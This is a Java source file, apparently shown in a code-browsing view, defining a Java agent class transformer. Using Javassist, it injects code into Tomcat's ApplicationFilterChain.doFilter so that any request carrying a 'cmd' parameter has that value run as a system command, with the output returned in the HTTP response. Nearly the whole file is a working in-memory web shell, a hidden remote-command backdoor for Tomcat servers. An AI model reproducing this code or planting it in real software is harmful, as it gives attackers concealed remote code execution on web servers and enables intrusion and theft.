| 12 | import java.security.ProtectionDomain; |
| 13 | |
| 14 | public class MyTransformer implements ClassFileTransformer { |
| 15 | public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain"; |
| 16 | |
| 17 | public MyTransformer() { |
| 18 | } |
| 19 | |
| 20 | public byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) { |
| 21 | className = className.replace('/', '.'); |
| 22 | if (className.equals(ClassName)) { |
| 23 | ClassPool cp = ClassPool.getDefault(); |
| 24 | if (aClass != null) { |
| 25 | ClassClassPath classPath = new ClassClassPath(aClass); |
| 26 | cp.insertClassPath(classPath); |
| 27 | } |
| 28 | |
| 29 | try { |
| 30 | CtClass cc = cp.get(className); |
| 31 | CtMethod m = cc.getDeclaredMethod("doFilter"); |
| 32 | m.insertBefore(" javax.servlet.ServletRequest req = request;\n javax.servlet.ServletResponse res = response;String cmd = req.getParameter(\"cmd\");\nif (cmd != null) {\nProcess process = Runtime.getRuntime().exec(cmd);\njava.io.BufferedReader bufferedReader = new java.io.BufferedReader(\nnew java.io.InputStreamReader(process.getInputStream()));\nStringBuilder stringBuilder = new StringBuilder();\nString line;\nwhile ((line = bufferedReader.readLine()) != null) {\nstringBuilder.append(line + '\\n');\n}\nres.getOutputStream().write(stringBuilder.toString().getBytes());\nres.getOutputStream().flush();\nres.getOutputStream().close();\n}"); |
| 33 | byte[] byteCode = cc.toBytecode(); |
| 34 | cc.detach(); |
| 35 | return byteCode; |
| 36 | } catch (IOException | CannotCompileException | NotFoundException var10) { |
| 37 | var10.printStackTrace(); |
| 38 | } |
| 39 | } |
| 40 | |
| 41 | return new byte[0]; |
| 42 | } |
| 43 | } |
nothing calls this directly
no outgoing calls
no test coverage detected